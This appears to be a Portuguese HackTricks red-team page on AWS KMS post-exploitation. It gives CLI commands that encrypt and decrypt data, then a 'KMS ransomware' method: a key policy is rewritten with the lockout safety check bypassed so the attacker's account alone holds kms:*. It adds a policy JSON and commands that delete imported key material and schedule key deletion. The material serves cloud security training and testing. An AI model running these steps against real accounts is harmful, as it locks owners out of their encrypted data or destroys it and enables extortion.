AWS - KMS Pós Exploração

Reading time: 5 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

KMS

Para mais informações, consulte:

AWS - KMS Enum

Criptografar/Descriptografar informações

fileb:// e file:// são esquemas URI usados em comandos da AWS CLI para especificar o caminho para arquivos locais:

  • fileb://: Lê o arquivo em modo binário, comumente usado para arquivos não-texto.
  • file://: Lê o arquivo em modo texto, tipicamente usado para arquivos de texto simples, scripts ou JSON que não têm requisitos especiais de codificação.

tip

Observe que se você quiser descriptografar alguns dados dentro de um arquivo, o arquivo deve conter os dados binários, não dados codificados em base64. (fileb://)

  • Usando uma chave simétrica
bash
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • Usando uma chave assimétrica:
bash
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

Um atacante com acesso privilegiado ao KMS poderia modificar a política do KMS das chaves e conceder acesso à sua conta sobre elas, removendo o acesso concedido à conta legítima.

Assim, os usuários da conta legítima não poderão acessar nenhuma informação de qualquer serviço que tenha sido criptografado com essas chaves, criando um ransomware fácil, mas eficaz, sobre a conta.

warning

Note que as chaves gerenciadas pela AWS não são afetadas por este ataque, apenas as chaves gerenciadas pelo cliente.

Também note a necessidade de usar o parâmetro --bypass-policy-lockout-safety-check (a falta desta opção na console web torna este ataque possível apenas a partir da CLI).

bash
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

caution

Note que se você alterar essa política e der acesso apenas a uma conta externa, e então, a partir dessa conta externa, tentar definir uma nova política para dar o acesso de volta à conta original, você não conseguirá porque a ação Put Policy não pode ser realizada de uma conta cruzada.

Ransomware Genérico KMS

Ransomware KMS Global

Há outra maneira de realizar um ransomware KMS global, que envolveria os seguintes passos:

  • Criar uma nova chave com um material de chave importado pelo atacante
  • Recriptografar dados antigos criptografados com a versão anterior com a nova.
  • Excluir a chave KMS
  • Agora, apenas o atacante, que possui o material de chave original, poderá descriptografar os dados criptografados

Destruir chaves

bash
# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

caution

Note que a AWS agora impede que as ações anteriores sejam realizadas de uma conta cruzada:

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks